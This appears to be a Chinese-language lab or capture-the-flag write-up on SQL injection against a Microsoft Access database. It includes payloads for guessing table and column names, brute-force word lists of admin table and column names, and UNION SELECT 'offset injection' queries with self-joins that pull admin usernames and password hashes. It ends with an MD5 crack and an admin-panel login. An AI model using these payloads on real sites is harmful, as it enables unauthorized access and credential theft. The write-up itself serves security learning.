慢慢打吧
$\color{red}\times$ 的地方是看了题解
关于 $Access$ 数据库
不支持错误数据注入,不能执行系统命令
数据库中没有注释符,即注入时无法使用常用的
/**/
,--
,#
等。而有时可以使用%00
即Null
来充当注释。但存在PHP
中开启参数magic_quote_gpc
魔术引号时,其会在Null
前加上反斜杠导致失效
而判断其是 $Access$ 数据库的依据如下:
虽然都说可以根据 and exists (select * from msysobjects)>0
没有报错来判断,但我这里还是报错了,所以:
sqlmap
跑一下啊嗯
随便点一点发现 $id$ 后面的参数好像可以
$1=2$ 的时候报错,看起来是不需要奇怪符号的数字型
$order by$ 二分一下发现有 $22$ 列
而 Access
没有诸如 information_schema
之类的表,而其所有表都在同一个数据库下
也就是说不能读标名,而是可以利用 and exists(SELECT * FROM [表名])
来猜测表名
以及 and exists(SELECT * FROM [表名] order by [num])
来判断表的列数
and exists(SELECT [列名] FROM [表名] )
来猜测列名
常见的表名
1 | admin,a_admin,x_admin,m_admin,adminuser,admin_user,article_admin,administrator,manage,manager,member,memberlist,user,users,Manage_User,user_info,admin_userinfo,UserGroups,user_list,login,用户,Friend,zl,movie,news,password,clubconfig,config,company,book,art,dv_admin,userinfo |
常见的列名
1 | username,adminusername,admin_username,adminname,admin_name,admin,adminuser,admin_user,usrname,usr_name,user_admin,password,admin_password,administrator,administrators,adminpassword,adminpwd,admin_pwd,adminpass,admin_pass,usrpass,usr_pass,user,name,pass,userpass,user_pass,userpassword,user_password,pwd,userpwd,user_pwd,useradmin,pword,p_word,pass-wd,yonghu,用户,用户名,密码,帐号,id,uid,userid,user_id,adminid,admin_id,login_name |
直接 intruder
爆破一下
表名有 admin
和 news
,company
那个还是报错了
以 admin
为表名爆破下列名得到
得到有效列 admin
, password
, id
这里可以脚本二分跑内容,但太慢了
偏移注入 $\color{red}\times$
看了解析后纠正前面几个问题:
最开始
order by
得到的列数并不是搜到的admin
表的列数,而是另一个表product
的列数(这个表的名称不重要)也就是当前注入点对应的表是
product
表,而我们的目标表是admin
and exists(SELECT * FROM admin order by 6)
得到
admin
表有 $6$ 个字段理一下收获:现在有当前表
product
的字段数,目标表admin
的字段数和表名,以及目标表的一些列名(虽然不是必要的)现在要确定回显位置:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 FROM admin
这句话可以理解为一个从
admin
表中拿一个 $22$ 位的虚拟表,但这里用别的表名称也行,下面就不行了之所以这里要用 $22$ 位的,是因为前面
id=1140
是从当前表Product
中查询到的,而UNION SELECT
前后列数应该相等,下面偏移查询时也应遵循这一原则注意这里要记得查看源代码,有些回显位并不会显示出来,但会出现在代码中
这里出现的就是第 $3,9,13,15$ 位
有一个公式
比如当 $N=1$ 时,即为一级偏移:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* FROM admin
此时
UNION SELECT
后面的列数为 $16$ 个虚拟列数加上admin
表中的 $6$ 列,恰好为 $22$ 位一级偏移并没有出现想要的
admin
表的列,原因是他们排在了第 $16$ 字段后,而显示位最大为第 $15$ 位那么再偏移一次:$N=2$ 时,即为二级偏移:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,* FROM (admin a INNER JOIN admin b on a.id=b.id)
原理就是让目标表
admin
中的列出现在显示位上,此时UNION SELECT
后面的列数是 $10$ 个虚拟列加上两个相同的admin
表[表1] INNER JOIN [表2] ON [条件]
会合并符合条件的表 $1$ 和表 $2$ 中的行
而像上面这样的
admin a INNER JOIN admin b on a.id=b.id
相当于将一个
admin
表命名成a
和b
,对于id
相等的行将其合并,也就是相当于在admin
表后面加上复制的自身此时得到的列就如:
a.id | a.user | a.passwaord | b.id | b.user | b.pass
回到这道题,二级偏移就得到如下:
得到了时间和看起来加密过的密码
当然,现在仍可以进行三级偏移:
UNION SELECT 1,2,3,4,* FROM((admin as a INNER JOIN admin as b ON a.id=b.id) INNER JOIN admin as c ON a.id=c.id)
但并没有得到想要的用户名
这个时候就需要对联合查询的表进行一些微调了:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,b.id,* FROM (admin a INNER JOIN admin b ON a.id=b.id)
这里手动把
b
表的b.id
列提到最前排,后面的就会自动的只补全剩下的列就得到了用户名
admin
因为提前的
b.id
让表的剩余列向后推了一格,使admin
出现在显示位也就是说,微调联合查询需要知道目标表中的一些任意列名,而知道的越多,越可以微调更多的位数,比如说:
UNION SELECT 1,2,3,4,5,6,b.id,a.user,b.user,* FROM (admin a INNER JOIN admin b ON a.id=b.id)
就可以向后推3格
回到这道题,密码 md5
解密得到:
dirsearch
出登录后台登录页面,直接登录即可